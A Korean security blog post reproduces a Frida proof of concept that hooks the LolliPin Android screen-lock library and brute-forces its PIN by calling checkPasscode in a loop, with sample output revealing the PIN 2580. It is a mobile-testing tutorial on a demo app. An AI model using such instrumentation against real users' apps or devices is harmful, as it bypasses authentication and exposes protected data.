메뉴 건너뛰기

app

[FRIDA] LolliPin screen lock 예제

lispro062016.10.27 21:50조회 수 1993댓글 0

  • 2
    • 글자 크기

http://blog.mdsec.co.uk/2015/04/instrumenting-android-applications-with.html

 

상기 사이트에 소개된 예제이다.

 

원래 코드를 조금 수정해서 진행하였다.

 

app의 소스코드는 https://github.com/OrangeGangsters/LolliPin 에 있으나, apk 가 없어서, 컴파일 하려 하다가,

https://android-arsenal.com/details/1/1425 에서 찾을 수 있어 apk를 다운로드 했고, 첨부 했다.

 

Enable 버튼으로 PIN 코드를 입력하고(2580으로 함) 실행시키면 아래와 같이 나온다.(enable로 초기 패스워드 지정)

 

[*] Bruteforcing PIN code

[*] Testing PIN 2575: false

[*] Testing PIN 2576: false

[*] Testing PIN 2577: false

[*] Testing PIN 2578: false

[*] Testing PIN 2579: false

[*] Testing PIN 2580: true

[*] Testing PIN 2581: false

[*] Testing PIN 2582: false

[*] Testing PIN 2583: false

[*] Testing PIN 2584: false

 

 

Good Luck!

 

# LolliPin bruteforce proof of concept

# Author: Dominic Chell - @domchell

 

import frida,sys

 

def print_result(message):

            print ("[*] Testing PIN %s" %(message))

 

def on_message(message, data):

            print_result(message['payload'])

 

jscode = """

 

Java.perform(function () {

   

    var LockManager = Java.use("com.github.orangegangsters.lollipin.lib.managers.LockManager");

    var LockManagerInstance = LockManager.getInstance();

    var AppLock = LockManagerInstance.getAppLock();

 

    for(var i=2575; i<2585; i++)

    {

            var result = AppLock.checkPasscode(i+"");

        send(i + ": " + result);

    }

});

"""

 

process = frida.get_usb_device().attach('com.github.orangegangsters.lollipin')

 

script = process.create_script(jscode)

script.on('message', on_message)

 

print ("[*] Bruteforcing PIN code")

 

script.load()

sys.stdin.read()

 

 

lispro06 (비회원)
  • 2
    • 글자 크기
[FRIDA] 외부 접근 경로 및 메소드 추출 예제 (by lispro06) [FRIDA] Android CTF 예제 (by lispro06)

댓글 달기

suritam9
2021.12.15 조회 321
suritam9
2019.04.05 조회 2069
suritam9
2019.03.07 조회 311
suritam9
2019.03.06 조회 750
lispro06
2018.03.21 조회 855
lispro06
2018.03.16 조회 1955
lispro06
2017.11.27 조회 6512
lispro06
2017.07.16 조회 1736
lispro06
2017.06.22 조회 1931
lispro06
2016.11.02 조회 1712
lispro06
2016.11.01 조회 7492
lispro06
2016.10.27 조회 4214
lispro06
2016.10.27 조회 3009
lispro06
2016.10.27 조회 4007
lispro06
2016.10.27 조회 2667
lispro06
2015.11.20 조회 1627
첨부 (2)
app.apk
2.37MB / Download 52
app.zip
2.37MB / Download 48
위로